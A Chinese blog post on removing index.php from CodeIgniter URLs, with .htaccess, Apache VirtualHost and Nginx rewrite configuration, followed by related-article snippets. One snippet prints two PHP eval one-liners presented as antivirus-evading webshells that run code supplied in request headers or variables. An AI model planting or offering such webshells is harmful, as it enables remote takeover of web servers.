CI框架apache和nginx环境下面统一去掉路径URL后面的index.php

APACHE:

在apache下去掉url上的index.php折腾了好久 ,一直是访问css ,js,图片文件   you can‘t access files on server 之类的错误提示,apached的配置上说的是

把 AllowOverride  none 改成  AllowOverride All ,然后allow from all,一直不生效,可以跳转页面,但是样式,js文件,图片都丢失,

发现还是.htaccss的RewriteCond出现了问题,原来是目录不对。

原先的样式文件,图片文件,js文件都放在application/views/templates下面了,后来改成一个和application同级的assets下面,如图:


然后.htaccess文件里这样写

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteBase /

RewriteCond $1 !^(index\.php|assets|system|robots\.txt)

RewriteRule ^(.*)$ /index.php/$1 [L,QSA]

</IfModule>

apache配置文件

<VirtualHost *:80>  
    ServerAdmin [email protected]  
    DocumentRoot "d:/wnmp/web/myproject"  
      
    ServerName www.key.local  
      
    <Directory "d:/wnmp/web/myproject">    // 这里是项目的目录  
        Options Indexes MultiViews FollowSymLinks   
        AllowOverride All  
        Order allow,deny  
        allow from all  
   </Directory>  
</VirtualHost>

NGINX里这样配置

location / {
   root   D:/wnmp/web/myproject/;
   index  index.php index.html index.htm;
   if (!-e $request_filename) {  
   rewrite ^/(.*)$ /index.php?$1 last;  
   break;  
   }  
}

时间: 2024-10-09 21:42:53

CI框架apache和nginx环境下面统一去掉路径URL后面的index.php的相关文章

十、CI框架之通过参数的办法输出URI路径

一.代码如下,index函数有2个参数 二.效果如下: 原文地址:https://www.cnblogs.com/tianpan2019/p/11135603.html

CI框架 CodeIgniter 伪静态 htaccess设置和Nginx伪静态方法

众所周知,LAMP代表Linux下Apache.MySQL.PHP这种网站服务器架构:而LNMP指的是Linux下Nginx.MySQL.PHP这种网站服务器架构.LNMP一键安装包可以从网上下载使用. Nginx(发音同 engine x)由 Igor Sysoev 用C语言为俄罗斯访问量第二的搜索引擎 Rambler.ru 站点开发,是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3/SMTP)代理服务器,其将源代码以类BSD许可证的形式发布,并在一个BSD-like

PHP利用Apache、Nginx的特性实现免杀Webshell

环境 函数 用法 nginx get_defined_vars() 返回由所有已定义变量所组成的数组 apache getallheaders() 获取全部 HTTP 请求头信息 apache环境 1 2 3 <?php eval(next(getallheaders())); ?> apache和nginx环境通用 1 2 3 <?php eval(implode(reset(get_defined_vars()))); ?> 另外一种通过执行伪造的sessionid值,进行任意

PHP框架CodeIgniter CI框架源码学习笔记-index.php一切的入口

CI框架(CodeIgniter)的基本执行流程图以备参考: index.php作为CI框架的入口文件,源码阅读,自然由此开始.

Nginx 环境搭建 (windows)

Nginx 环境搭建 (windows) 资源 # nginx在线文档和支持 For online documentation and support please refer to nginx.org # nginx企业版网址 nginx.com # nginx书籍 https://www.nginx.com/resources/library/complete-nginx-cookbook/?utm_source=nginxorg&utm_medium=homepagebanner&u

centos nginx环境下删除CI框架Index.php入口遇到404问题

今天在网上百度看了很多文章,想要去掉index.php入口文件有好多方法,自己也照着在网站到根目录下新建了一个.htaccess文件,内容如下: RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond $1 !^(index\.php|images|robots\.txt) RewriteRule ^(.*)$ /index.php/$1 [L] 意思

CI框架源码阅读笔记1 - 环境准备、基本术语和框架流程

最开始使用CI框架的时候,就打算写一个CI源码阅读的笔记系列,可惜虎头蛇尾,一直没有行动.最近项目少,总算是有了一些时间去写一些东西.于是准备将之前的一些笔记和经验记录下来,一方面权作备忘,另一方面时刻提醒自己:借鉴和学习才有出路,忘记过去意味着背叛! 基本术语说明 在本文开始之前,有必要对文中反复出现的术语做一个简单的说明,如果你对这一部分已经熟谙,完全可以略过.本文中反复出现和提及的术语包括: 前端控制器(Front Controller): 用于集中控制用户的所有请求的组件,将用户的请求发

在nginx下去掉ci框架url中的index.php

ci框架默认的url规则中带有应用的入口文件,例如: example.com/index.php/news/article/my_article 在以上URL中带有入口文件index.PHP,这样的URL规则对搜索引擎来说是不友好的,那么如何去除这个index.php呢?apache环境下:通过 .htaccess 文件来设置一些简单的规则删除它.下面是一个例子,使用“negative”方法将非指定内容进行重定向: RewriteEngine on RewriteCond $1 !^(index

CI框架中如何配置Nginx

codeigniter(CI)是一个轻量型的PHP框架,因为它是在apache服务器下开发的,所以在nginx下需要特别的配置才可以使用. 具体方法如下: 1.对application/config/config.php进行修改,大约在48行左右.   $config['uri_protocol'] = "PATH_INFO"; 2.配置nginx.conf文件 server { listen       80; listen [::]:80 ipv6only=on; server_n